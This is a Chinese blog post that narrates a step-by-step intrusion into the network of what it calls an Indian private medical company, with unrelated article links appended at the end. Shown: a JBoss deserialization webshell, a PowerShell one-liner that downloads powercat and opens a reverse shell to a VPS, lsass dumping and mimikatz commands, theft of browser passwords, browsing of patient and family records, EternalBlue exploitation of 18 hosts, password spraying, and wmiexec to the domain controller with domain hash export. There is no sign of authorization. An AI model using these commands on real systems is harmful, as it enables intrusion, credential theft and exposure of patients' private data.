给我一个shell我能干翻你内网
0x00 前言
在去年小菜鸡学了点内网知识就闲着没事跑点jboss的站看看,在经历过很多次内网横向失败之后终于算是人生圆满了一把,阿三的站一般进去之后很难横向,不知道是不是我太菜的原因,反正阿三的站能够横向拿完的有且仅有这么一个,过了很久再放出来应该是没啥大问题了吧,希望师傅们友好交流
0x01 外围打点
首先对发现了该站点的JBoss页面,经过测试发现具有JBoss反序列化漏洞

这里我用的是war远程部署的方法拿到了一个shell

这里看到对方是windows系统,当前用户权限是管理员权限。并且该机器具有两张网卡,通向了两个网段,那么肯定是存在域环境
想直接上线cs多人运动,发现上线失败,机器也是出网的,尝试powershell,hta,exe,wmic都不行,真的奇怪,用tasklist /svc看了一下对方机器并无杀软

这里就想着先拿一个稳定的shell,想往部署war包的路径写个冰蝎的马
由于这个shell并不稳定 这里远程加载powercat脚本反弹到vps上
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c ip -p 9000 -e cmd
在jboss/server/default/deploy/management/目录 echo写入冰蝎的马
windows下注意要使用^对尖括号进行转义,本地实验一下,成功

往目标机器写入,成功连接,very good,至此打点成功

0x02 本机信息收集
拿到webshell后先维权往其他几个目录也放几个webshell,防止被管理员删除修复
然后依托当前机器收集尽可能多的信息,迅速了解目标的内网大致网络结构和机器软件环境,为下一步继续深入做好准备
ipconfig /all &&netstat -ano &&arp -a 查看当前机器处于哪个环境哪个网段
wmic os get caption,csdversion,osarchitecture,version 抓明文之前了解目标系统版本 有些默认是抓不到明文的
wmic product get name,version 查看安装软件列表
whoami /user &&quer user
tasklist /v && net start
systeminfo



可以看到当前我们获得的这台是win7企业版的主机,且处在域内,有2张网卡,通向2个网段
然后不断的翻资料,不断的翻资料
翻到这家企业的人力资源手册、wifi密码、网关,疑似oracle数据账号密码等信息

把人力资源手册翻译看看,发现这是一家阿三的医疗私人有限公司,真好

里面包括企业的政策及用人部分分配处分等信息,得到他的官网 www.sxxxx.com

把资料翻完之后,抓取一下浏览器记录及密码,使用hack-browser-data,抓取下来本地查看

还是有很多有价值的密码的,把这些密码收集起来,还发现他用gmail邮箱注册了一个网站的账号
然后登录查看一下这些网站的发现这台机的主人还有玩一些投资的平台,具体是什么没深入下去

有个网站引起了我的注意,登录发现这是一个挂号平台
可以查看大量患者人员的信息,并且可进行通话


还有患者的家属情况人员信息,住院出院时间

然后尝试抓密码,用prodump导出
procdump64.exe -accepteula -ma lsass.exe 1.dmp

makecab c:\jboss\bin\1.dmp 1.zip
利用windows自带的压缩工具压缩一下然后下载回本地

离线mimikatz读取
mimikatz.exe "log" "sekurlsa::minidump 1.dmp" "sekurlsa::logonPasswords full" exit

直接抓到域管账号administrator的密码,其实挺好奇的看了一下,该机器名为EDP,接着百度了一下
应该就是高层人员的意思吧,当前获取的是一名高层主管机器,然后整理收集得到的密码,相对来说还是相对丰富的

0x03 域内信息收集
先找到它的域控
net group /domain 查看域组
net group "domain users" /domain 域内用户
net group "domain admins" /domain 域管用户
net group "domain computers" /domain 域内机器
net group "domain controllers" /domain 域控机器




内网大概300台左右,当时很惊讶,后来想了一下医院的话确实300台也不算多

可以看到域控的机器名为ADC1,通过ipconfig /all看到dns服务器为192.168.0.100
该机器通过ping 域名查看可以确认192.168.0.100为域控

0x04 获取域内spn记录
摸清域内敏感机器资产的分布,方便之后突破。可以拿着这些获取到的机器名,来快速完整探测当前域内的所有存活主机,通过net view还是比较不准的,开启防火墙也是探测不到的
这里如果能上cs就会好操作很多,但是很遗憾,这里只能硬着头皮手动搞
setspn -T xxx.com -Q */* >spn.txt
接着对拉回来的spn文件进行处理,获取spn记录前面的主机名字
grep "CN=" spn.txt | awk -F "," {'print $1'} | awk -F "=" {'print $2'} > host.txt

通过SPN我们可以获取到域内的存活主机何一些主机的具体作用。可以通过主机的名字来获取到这个主机提供什么服务
除了SPN收集域内的信息的话,还可以通过bloodHound来获取域内的一些信息。接着快速抓取当前域内的所有用户,组,会话,数据,上传exe文件上去然后再把数据给下载回来
0x05 内网存活机器及资产搜集
利用毒液venom代理

挂socks5 msf里的smb_versionb模块进行smb扫描
setg Proxies socks5:ip:端口
setg reverseallowproxy true
set rhosts file:/home/kali/Desktop/ip.txt
set threads 15

利用收集到的密码对内网机器进行批量smb弱口令探测,进行连接并进行整理

还是收获很大的对其他服务器进行弱口令探测,爆破出一台linux主机一台windows主机,查找文件并无什么发现


0x06 探测内网web资产
内网jboss拿下8台,医院管理后台尝试弱口令与之前的密码,无果

发现一个mirth connect 医疗信息接口集成引擎,用admin/admin弱口令进入

0x07 对内网的Windows机器进行永恒之蓝渗透
对内网的主机进行MS17-010漏洞探测, 通过venom把msf代入内网进行探测,发现了有很多主机都存在有永恒之蓝的漏洞

主机为64位,migrate迁移进程做好安全措施

利用Kiwi读取密码

打下18台主机,其中包括hr docker icu的机器,想继续深度挖掘的,但是太累了
继续深度挖掘就抓密码读敏感文件,谷歌浏览器账号密码,一直反复拿到自己想要拿的资料为止

继续利用Kiwi读取密码
读取了4、5台后发现密码几乎一样 是站点域名@123,看来还是很多根据域名xxx@123等来设置密码的,这里我直接尝试用域用户进行密码喷洒

可以看到还是非常多域内用户使用了该密码,这里使用wmiexec.py连接域控
python3 ./wmiexec.py sxxxx/Administrator:密码@192.168.0.100

发现开启3389尝试连接域控,连接成功


利用域管密码导出域内用户hash

保存下来看了一下,密码复用率非常高,基本只有几个用户是有设置密码的

0x08 后记
这次渗透测试来说还是挺顺利的,就是不断信息收集进行突破,真的是信息收集到一定程度时,已经能拿下很多机器了
闲着没事又到域控里面逛了一下,在一个盘符里面看到了个bat文件,打开一看应该是前辈留下来的

至此本次渗透过程应该算是比较圆满了,不过有些地方肯定还是有更好的方法,在以后的学习中应该要学习得更加扎实
用前辈的话跟师傅们共勉:低调求发展,潜心习安全
给我一个shell我能干翻你内网的更多相关文章
- 一个基于DPI技术实现了内网资产识别的应用
https://www.forescout.com/products/counteract/see/visibility-capabilities/ Home ≫ Products ≫ ForeSco ...
- 一台PC双网卡,一个外网一个内网
问题:一台PC双网卡,一个连外网一个连内网.用户主要访问外网,内网只访问有限的几个ip.因为外网很大,一般人公司内网常访问的ip是有限的几个. 现在如何做到在上外网的同时也能访问内网的系统?明明两个网 ...
- Linux Shell编程(2)——第一个shell程序
在最简单的情况下,脚本程序不过是存储在一个文件里的系统命令列表.这至少让你执行它 时不必重新按顺序键入相同功能的命令序列.一个清空/var/log目录下的日志文件的脚本 # Cleanup # 必须以 ...
- Linux Shell 之 我的第一个Shell程序
这里我首先会介绍一个Shell是什么,再介绍我的第一个Shell程序和从中总结的经验. 一.Shell是什么 在说我的这个Shell程序之前,还是先跟大家说说什么是Shell吧,相信Shell这个 ...
- shell脚本中执行另一个shell脚本
分类: 可以在一个shell脚本中执行另一个shell脚本(或非可执行文件,主要用于取得一些变量的值),方法是: . 文件名(包括路径) 或 变量=文件名(包括路径) . $变量 注意,圆点后面有 ...
- 手把手教你做一个Shell命令窗口
这是一个类似于win下面的cmd打开后的窗口,可以跨平台使用,可以在win和linux下面同时使用,主要功能如下: 首先我们需要把这些功能的目录写出来,通过写一个死循环,让其每次回车之后都可以保持同样 ...
- 编写第一个 Shell 脚本
什么是 Shell 脚本? 一个 shell 脚本就是一个包含一系列命令的文件.shell 读取这个文件,然后执行 文件中的所有命令,就好像这些命令已经直接被输入到了命令行中一样. 怎样编写一个 Sh ...
- Shell教程 之第一个shell脚本
1.第一个shell脚本 打开文本编辑器(可以使用 vi/vim 命令来创建文件),新建一个文件 test.sh,扩展名为 sh(sh代表shell),扩展名并不影响脚本执行 输入一些代码 #!/bi ...
- 第一个shell程序
前言:我为什么又来学习shell呢?因为这个轻量级的编程小脚本语言能够帮我处理一些基于linux的复杂手工工作.真是一言难尽,学会一门又来一门!! 看了2天这个教程,试着写了一个小脚本,没啥技术含量, ...
随机推荐
- git config all in one
git config git global config # git global config $ git config $ git config --list --show-origin $ gi ...
- rxjs 常用的subject
api列表 Subject Subject是可观察的一种特殊类型,它允许将值多播到许多观察者 import {Subject} from 'rxjs'; const l = console.log; ...
- NGK推出SPC算力币,开启算力新玩法!
这两天,NGK公链再度上了热搜.因为既成功的打造DeFi生态以后,NGK又将目光对准了算力市场.试图通过算力代币化,让NGK算力持有者可以获得算力代币,同时,如果不想要了,算力持有者也可以抛售代币. ...
- Chateau Renice酒庄 :忠于风味,尊重自然
Chateau Renice酒庄(公司编号:20151318780)凭借优良的葡萄栽培传统.卓越的酿酒技术以及独特风味的葡萄酒,近年来葡萄酒畅销至全球. Chateau Renice酒庄将葡萄酒出口至 ...
- docker mysql初始化多个sql脚本
一.概述 现有一台服务器,需要部署mysql.其中mysql容器,需要在第一次启动时,执行多个sql文件. 文件名 说明 执行顺序 init.sql 创建数据库以及用户 1 users.sql 用户表 ...
- KDE 桌面不显示背景和状态栏
在arch的一次更新后,kde的桌面背景,插件,状态栏变成了一片黑,如下图所示. 解决办法:删除/home/stone/.config/plasma-org.kde.plasma.desktop-ap ...
- secure 审计暴力登陆
文件路径 cd /var/log -rw------- 1 root root 1200063 Aug 10 20:04 secure 做应急响应,或者做脚本监控的时候,都可以参考如下特征 ... A ...
- 为 APK 文件增加右键菜单组实现快捷安装
0.结果 1.需求 迫于每次都要打开 Powershell 手动敲 adb install xxx.apk 太麻烦,就想通过注册表搞一个右键菜单,实现快捷安装 apk 的功能. 最后决定先实现三个功能 ...
- Java 集合(List、Set、Map 等)相关问答归纳再整理
写在最前面 这个项目是从20年末就立好的 flag,经过几年的学习,回过头再去看很多知识点又有新的理解.所以趁着找实习的准备,结合以前的学习储备,创建一个主要针对应届生和初学者的 Java 开源知识项 ...
- Redis单机数据库的实现原理
本文主要介绍Redis的数据库结构,Redis两种持久化的原理:RDB持久化.AOF持久化,以及Redis事件分类及执行原理.最后,分别介绍了单机班Redid客户端和Redis服务器的使用和实现原理. ...